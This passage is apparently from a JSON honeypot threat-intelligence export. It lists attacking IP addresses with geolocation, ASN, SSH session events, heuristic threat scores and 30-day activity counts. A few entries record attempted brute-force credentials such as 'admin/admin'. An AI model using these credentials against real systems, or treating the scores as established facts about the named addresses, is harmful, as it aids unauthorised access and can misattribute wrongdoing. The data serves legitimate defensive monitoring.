      "first_seen": "2026-05-18T10:34:56.684Z",
      "last_seen": "2026-05-18T10:35:08.483Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "emo"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 33837,
      "as_org": "Fredrik Holmqvist",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T10:34:56.684000+00:00",
        "last_seen_30d": "2026-05-18T10:36:12.084000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "104.248.158.38": {
      "attack_count": 4,
      "first_seen": "2026-05-18T14:34:38.700Z",
      "last_seen": "2026-05-18T14:34:46.701Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T14:34:38.700000+00:00",
        "last_seen_30d": "2026-05-18T14:35:49.051000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "112.123.108.216": {
      "attack_count": 4,
      "first_seen": "2026-05-07T02:08:46.034Z",
      "last_seen": "2026-05-07T02:08:46.621Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T02:08:46.034000+00:00",
        "last_seen_30d": "2026-05-07T02:18:55.597000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "115.190.211.111": {
      "attack_count": 4,
      "first_seen": "2026-05-16T14:57:35.049Z",
      "last_seen": "2026-05-16T14:59:35.061Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T14:57:35.049000+00:00",
        "last_seen_30d": "2026-05-16T15:09:42.400000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "190.95.224.198": {
      "attack_count": 4,
      "first_seen": "2026-05-05T18:00:11.689Z",
      "last_seen": "2026-05-13T19:34:06.440Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Quito",
      "asn": 27947,
      "as_org": "Telconet S.A",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T18:00:11.689000+00:00",
        "last_seen_30d": "2026-05-13T19:44:15.903000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "86.170.40.155": {
      "attack_count": 4,
      "first_seen": "2026-05-14T23:16:38.611Z",
      "last_seen": "2026-05-14T23:18:41.601Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Bristol",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T23:16:38.611000+00:00",
        "last_seen_30d": "2026-05-14T23:29:43.873000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "119.255.239.42": {
      "attack_count": 3,
      "first_seen": "2026-05-07T02:19:18.648Z",
      "last_seen": "2026-05-07T02:20:20.253Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 23724,
      "as_org": "IDC, China Telecommunications Corporation",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T02:19:18.648000+00:00",
        "last_seen_30d": "2026-05-07T02:21:29.849000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "167.99.1.98": {
      "attack_count": 3,
      "first_seen": "2026-05-23T19:29:28.556Z",
      "last_seen": "2026-05-23T19:29:29.201Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 59.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.5,
        "persistence": 10.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 179,
        "days_active_30d": 12,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-13T15:05:17.738000+00:00",
        "last_seen_30d": "2026-05-24T17:20:52.065000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 137,
        "Honeytrap": 31,
        "Cowrie": 3,
        "Dionaea": 3,
        "Ciscoasa": 2,
        "CitrixHoneypot": 2,
        "H0neytr4p": 1
      }
    },
    "175.178.15.178": {
      "attack_count": 3,
      "first_seen": "2026-05-16T08:25:29.077Z",
      "last_seen": "2026-05-16T08:27:29.124Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T08:25:29.077000+00:00",
        "last_seen_30d": "2026-05-16T08:38:25.053000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "184.105.247.252": {
      "attack_count": 3,
      "first_seen": "2026-05-13T08:19:18.269Z",
      "last_seen": "2026-05-13T08:19:18.328Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 202,
        "days_active_30d": 30,
        "ports_targeted_30d": 53,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T09:08:55+00:00",
        "last_seen_30d": "2026-05-31T11:06:05.352000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 116,
        "Honeytrap": 70,
        "Mailoney": 6,
        "Cowrie": 3,
        "Adbhoney": 2,
        "ConPot": 2,
        "Dionaea": 2,
        "Ipphoney": 1
      }
    },
    "1.206.55.0": {
      "attack_count": 2,
      "first_seen": "2026-05-22T10:35:46.775Z",
      "last_seen": "2026-05-22T10:35:58.946Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:35:46.775000+00:00",
        "last_seen_30d": "2026-05-22T10:37:00.162000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "102.164.160.97": {
      "attack_count": 2,
      "first_seen": "2026-05-05T22:52:02.196Z",
      "last_seen": "2026-05-05T22:52:14.997Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 37649,
      "as_org": "Tigo",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T22:52:02.196000+00:00",
        "last_seen_30d": "2026-05-05T22:53:22.998000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "104.152.52.216": {
      "attack_count": 2,
      "first_seen": "2026-05-21T05:32:46.799Z",
      "last_seen": "2026-05-21T05:32:47.021Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 15.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 18,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T08:32:25+00:00",
        "last_seen_30d": "2026-05-21T05:33:55.943000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Honeytrap": 3,
        "Cowrie": 2
      }
    },
    "105.79.75.131": {
      "attack_count": 2,
      "first_seen": "2026-05-05T23:46:02.974Z",
      "last_seen": "2026-05-05T23:46:16.142Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Dakhla",
      "asn": 36884,
      "as_org": "MAROCCONNECT",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T23:46:02.974000+00:00",
        "last_seen_30d": "2026-05-05T23:47:16.716000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.192.71.126": {
      "attack_count": 2,
      "first_seen": "2026-05-03T19:50:07.166Z",
      "last_seen": "2026-05-03T19:50:19.402Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:50:07.166000+00:00",
        "last_seen_30d": "2026-05-03T19:51:21.801000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.206.244.167": {
      "attack_count": 2,
      "first_seen": "2026-05-31T11:39:55.369Z",
      "last_seen": "2026-05-31T11:40:08.441Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T11:39:55.369000+00:00",
        "last_seen_30d": "2026-05-31T11:41:09.355000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.211.162.69": {
      "attack_count": 2,
      "first_seen": "2026-05-17T23:16:28.143Z",
      "last_seen": "2026-05-17T23:16:41.514Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T23:16:28.143000+00:00",
        "last_seen_30d": "2026-05-17T23:17:49.095000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.207.109.187": {
      "attack_count": 2,
      "first_seen": "2026-05-26T19:38:52.882Z",
      "last_seen": "2026-05-26T19:39:05.614Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T19:38:52.882000+00:00",
        "last_seen_30d": "2026-05-26T19:40:10.286000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.31.121.40": {
      "attack_count": 2,
      "first_seen": "2026-05-25T00:17:18.601Z",
      "last_seen": "2026-05-25T00:17:18.602Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T00:17:18.601000+00:00",
        "last_seen_30d": "2026-05-25T00:18:21.003000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.245.101.68": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:51:20.130Z",
      "last_seen": "2026-05-23T11:51:32.513Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:51:20.130000+00:00",
        "last_seen_30d": "2026-05-23T11:52:39.813000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "148.244.108.133": {
      "attack_count": 2,
      "first_seen": "2026-05-10T05:35:49.041Z",
      "last_seen": "2026-05-10T05:36:02.093Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": null,
      "asn": 11172,
      "as_org": "Alestra, S. de R.L. de C.V.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T05:35:49.041000+00:00",
        "last_seen_30d": "2026-05-10T05:37:02.629000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "150.129.103.202": {
      "attack_count": 2,
      "first_seen": "2026-05-07T07:51:51.967Z",
      "last_seen": "2026-05-07T07:52:04.321Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "K\u014dttakkal",
      "asn": 23860,
      "as_org": "Alliance Broadband Services Pvt. Ltd.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T07:51:51.967000+00:00",
        "last_seen_30d": "2026-05-07T07:53:09.223000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "150.228.105.166": {
      "attack_count": 2,
      "first_seen": "2026-05-13T20:22:49.677Z",
      "last_seen": "2026-05-13T20:24:49.680Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T20:22:49.677000+00:00",
        "last_seen_30d": "2026-05-13T20:35:33.377000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "152.59.27.145": {
      "attack_count": 2,
      "first_seen": "2026-05-04T12:17:55.667Z",
      "last_seen": "2026-05-04T12:18:08.589Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:17:55.667000+00:00",
        "last_seen_30d": "2026-05-04T12:19:18.176000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "163.61.153.42": {
      "attack_count": 2,
      "first_seen": "2026-05-12T13:04:45.901Z",
      "last_seen": "2026-05-12T13:04:58.935Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 134186,
      "as_org": "Paradise Technologies Limited",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T13:04:45.901000+00:00",
        "last_seen_30d": "2026-05-12T13:06:02.980000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.232.87.185": {
      "attack_count": 2,
      "first_seen": "2026-05-24T04:42:55.812Z",
      "last_seen": "2026-05-24T04:44:55.814Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Quer\u00e9taro City",
      "asn": 28536,
      "as_org": "Mexico Red de Telecomunicaciones, S. de R.L. de C.V.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:42:55.812000+00:00",
        "last_seen_30d": "2026-05-24T04:46:33.060000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.24.4.81": {
      "attack_count": 2,
      "first_seen": "2026-05-02T17:41:04.399Z",
      "last_seen": "2026-05-02T17:43:04.400Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T17:41:04.399000+00:00",
        "last_seen_30d": "2026-05-02T17:53:39.213000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "182.69.178.207": {
      "attack_count": 2,
      "first_seen": "2026-05-05T01:42:31.287Z",
      "last_seen": "2026-05-05T01:42:44.033Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:42:31.287000+00:00",
        "last_seen_30d": "2026-05-05T01:43:46.786000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.33.23.210": {
      "attack_count": 2,
      "first_seen": "2026-05-04T03:33:19.949Z",
      "last_seen": "2026-05-04T03:33:33.304Z",
